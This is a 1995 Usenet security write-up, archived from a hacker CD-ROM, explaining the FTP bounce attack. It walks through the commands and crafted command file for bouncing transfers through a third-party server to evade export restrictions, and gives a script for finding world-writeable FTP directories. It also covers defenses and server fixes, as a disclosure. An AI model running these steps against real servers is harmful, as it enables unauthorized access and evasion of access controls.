home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Secrets 4 / Hacker's Secrets 4.iso / misc / ftpbounc.txt < prev    next >
Internet Message Format  |  1996-06-23  |  10KB
  1. From: *Hobbit* <hobbit@avian.org>
  2. Newsgroups: alt.2600
  3. Subject: The FTP Bounce Attack
  4. Date: 12 Jul 1995 03:50:50 EDT
  5.  
  6. This discusses one of many possible uses of the "FTP server bounce attack".
  7. The mechanism used is probably well-known, but to date interest in detailing
  8. or fixing it seems low to nonexistent.  This particular example demonstrates
  9. yet another way in which most electronically enforced "export restrictions" are
  10. completely useless and trivial to bypass.  It is chosen in an effort to make
  11. the reader sit up and notice that there are some really ill-conceived aspects
  12. of the standard FTP protocol.
  13.  
  14. Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion
  15. of some of these issues a couple of months ago which got me thinking more
  16. deeply about them.
  17.  
  18. The motive
  19. ==========
  20.  
  21. You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve
  22. cryptographic source code from crypto.com in the US.  The FTP server at
  23. crypto.com is set up to allow your connection, but deny access to the crypto
  24. sources because your source IP address is that of a non-US site [as near as
  25. their FTP server can determine from the DNS, that is].  In any case, you
  26. cannot directly retrieve what you want from crypto.com's server.
  27.  
  28. However, crypto.com will allow ufred.edu to download crypto sources because
  29. ufred.edu is in the US too.  You happen to know that /incoming on ufred.edu
  30. is a world-writeable directory that any anonymous user can drop files into and
  31. read them back from.  Crypto.com's IP address is C.C.C.C.
  32.  
  33. The attack
  34. ==========
  35.  
  36. This assumes you have an FTP server that does passive mode.  Open an FTP
  37. connection to your own machine's real IP address [not localhost] and log in.
  38. Change to a convenient directory that you have write access to, and then do:
  39.  
  40.     quote "pasv"
  41.     quote "stor foobar"
  42.  
  43. Take note of the address and port that are returned from the PASV command,
  44. F,F,F,F,X,X.  This FTP session will now hang, so background it or flip to
  45. another window or something to proceed with the rest of this.
  46.  
  47. Construct a file containing FTP server commands.  Let's call this file
  48. "instrs".  It will look like this:
  49.  
  50.     user ftp
  51.     pass -anonymous@
  52.     cwd /export-restricted-crypto
  53.     type i
  54.     port F,F,F,F,X,X
  55.     retr crypto.tar.Z
  56.     quit
  57.     ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
  58.     ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
  59.     ...
  60.  
  61. F,F,F,F,X,X is the same address and port that your own machine handed you
  62. on the first connection.  The trash at the end is extra lines you create,
  63. each containing 250 NULLS and nothing else, enough to fill up about 60K of
  64. extra data.  The reason for this filler is explained later.
  65.  
  66. Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming.
  67. Now type the following into this FTP session, which transfers a copy of your
  68. "instrs" file over and then tells ufred.edu's FTP server to connect to
  69. crypto.com's FTP server using your file as the commands:
  70.  
  71.     put instrs
  72.     quote "port C,C,C,C,0,21"
  73.     quote "retr instrs"
  74.  
  75. Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
  76. connection.  If the connection to ufred.edu didn't die by itself due to an
  77. apparently common server bug, clean up by deleting "instrs" and exiting.
  78. Otherwise you'll have to reconnect to finish.
  79.  
  80. Discussion
  81. ==========
  82.  
  83. There are several variants of this.  Your PASV listener connection can be
  84. opened on any machine that you have file write access to -- your own, another
  85. connection to ufred.edu, or somewhere completely unrelated.  In fact, it does
  86. not even have to be an FTP server -- any utility that will listen on a known
  87. TCP port and read raw data from it into a file will do.  A passive-mode FTP
  88. data connection is simply a convenient way to do this.
  89.  
  90. The extra nulls at the end of the command file are to fill up the TCP windows
  91. on either end of the ufred -> crypto connection, and ensure that the command
  92. connection stays open long enough for the whole session to be executed.
  93. Otherwise, most FTP servers tend to abort all transfers and command processing
  94. when the control connection closes prematurely.  The size of the data is enough
  95. to fill both the receive and transmit windows, which on some OSes are quite
  96. large [on the order of 30K].  You can trim this down if you know what OSes
  97. are on either end and the sum of their default TCP window sizes.  It is split
  98. into lines of 250 characters to avoid overrunning command buffers on the target
  99. server -- probably academic since you told the server to quit already.
  100.  
  101. If crypto.com disallows *any* FTP client connection from you at foreign.fr and
  102. you need to see what files are where, you can always put "list -aR" in your
  103. command file and get a directory listing of the entire tree via ufred.
  104.  
  105. You may have to retrieve your command file to the target's FTP server in ASCII
  106. mode rather than binary mode.  Some FTP servers can deal with raw newlines, but
  107. others may need command lines terminated by CRLF pairs.  Keep this in mind when
  108. retrieving files to daemons other than FTP servers, as well.
  109.  
  110. Other possbilities
  111. ==================
  112.  
  113. Despite the fact that such third-party connections are one-way only, they
  114. can be used for all kinds of things.  Similar methods can be used to post
  115. virtually untraceable mail and news, hammer on servers at various sites, fill
  116. up disks, try to hop firewalls, and generally be annoying and hard to track
  117. down at the same time.  A little thought will bring realization of numerous
  118. other scary possibilities.
  119.  
  120. Connections launched this way come from source port 20, which some sites allow
  121. through their firewalls in an effort to deal with the "ftp-data" problem.  For
  122. some purposes, this can be the next best thing to source-routed attacks, and is
  123. likely to succeed where source routing fails against packet filters.  And it's
  124. all made possible by the way the FTP protocol spec was written, allowing
  125. control connections to come from anywhere and data connections to go anywhere.
  126.  
  127. Defenses
  128. ========
  129.  
  130. There will always be sites on the net with creaky old FTP servers and
  131. writeable directories that allow this sort of traffic, so saying "fix all
  132. the FTP servers" is the wrong answer.  But you can protect your own against
  133. both being a third-party bouncepoint and having another one used against you.
  134.  
  135. The first obvious thing to do is allow an FTP server to only make data
  136. connections to the same host that the control connection originated from.
  137. This does not prevent the above attack, of course, since the PASV listener
  138. could just as easily be on ufred.edu and thus meet that requirement, but
  139. it does prevent *your* site from being a potential bouncepoint.  It also
  140. breaks the concept of "proxy FTP", but hidden somewhere in this paragraph
  141. is a very tiny violin.
  142.  
  143. The next obvious thing is to prohibit FTP control connections that come from
  144. reserved ports, or at least port 20.  This prevents the above scenario as
  145. stated.
  146.  
  147. Both of these things, plus the usual poop about blocking source-routed packets
  148. and other avenues of spoofery, are necessary to prevent hacks of this sort.
  149. And think about whether or not you really need an open "incoming" directory.
  150.  
  151. Only allowing passive-mode client data connections is another possibility,
  152. but there are still too many FTP clients in use that aren't passive-aware.
  153.  
  154. "A loose consensus and running code"
  155. ====================================
  156.  
  157. There is some existing work addressing this available here at avian.org [and
  158. has been for several months, I might add] in the "fixkits archive".  Several
  159. mods to wu-ftpd-2.4 are presented, which includes code to prevent and log
  160. attempts to use bogus PORT commands.  Recent security fixes from elsewhere are
  161. also included, along with s/key support and various compile-time options to
  162. beef up security for specific applications.
  163.  
  164. Stan Barber at academ.com is working on merging these and several other fixes
  165. into a true updated wu-ftpd release.  There are a couple of other divergent
  166. efforts going on.  Nowhere is it claimed that any of this work is complete yet,
  167. but it is a start toward something I have had in mind for a while -- a
  168. network-wide release of wu-ftpd-2.5, with contributions from around the net. 
  169. The wu-ftpd server has become very popular, but is in sad need of yet another
  170. security upgrade.  It would be nice to pull all the improvements together into
  171. one coordinated place, and it looks like it will happen.  All of this still
  172. won't help people who insist on running vendor-supplied servers, of course.
  173.  
  174. Sanity-checking the client connection's source port is not implemented
  175. specifically in the FTP server fixes, but in modifications to Wietse's
  176. tcp-wrappers package since this problem is more general.  A simple PORT option
  177. is added that denies connections from configurable ranges of source ports at
  178. the tcpd stage, before a called daemon is executed.
  179.  
  180. Some of this is pointed to by /src/fixkits/README in the anonymous FTP
  181. area here.  Read this roadmap before grabbing other things.
  182.  
  183. Notes
  184. =====
  185.  
  186. Adding the nulls at the end of the command file was the key to making this
  187. work against a variety of daemons.  Simply sending the desired data would
  188. usually fail due to the immediate close signaling the daemon to bail out.
  189.  
  190. If WUSTL has not given up entirely on the whole wu-ftpd project, they are
  191. keeping very quiet about further work.  Bryan O'Connor appears to have many
  192. other projects to attend to by now...
  193.  
  194. This is a trivial script to find world-writeable and ftp-owned directories and
  195. files on a unix-based anonymous FTP server.  You'd be surprised how many of
  196. those writeable "bouncepoints" pop out after a short run of something like
  197. this.  You will have to later check that you can both PUT and GET files from
  198. such places; some servers protect uploaded files against reading.  Many do not,
  199. and then wonder why they are among this week's top ten warez sites...
  200.  
  201. #!/bin/sh
  202. ftp -n $1 << FOE
  203. quote "user ftp"
  204. quote "pass -nobody@"
  205. prompt
  206. cd /
  207. dir "-aR" xxx.$$
  208. bye
  209. FOE
  210. # Not smart enough to figure out ftp's numeric UID if no passwd file!
  211. cat -v xxx.$$ | awk '
  212.   BEGIN { idir = "/" ; dirp = 0 }
  213.   /.:$/ { idir = $0 ; dirp = 1 ; }
  214.   /^[-d][-r](......w.|........  *[0-9]* ftp  *)/ {
  215.     if (dirp == 1) print idir
  216.     dirp = 0
  217.     print $0
  218.   } '
  219. rm xxx.$$
  220.  
  221. I suppose one could call this a white paper.  It is up for grabs at avian.org
  222. in /random/ftp-attack as well as being posted in various relevant places.
  223.  
  224. _H*  950712
  225.  
  226.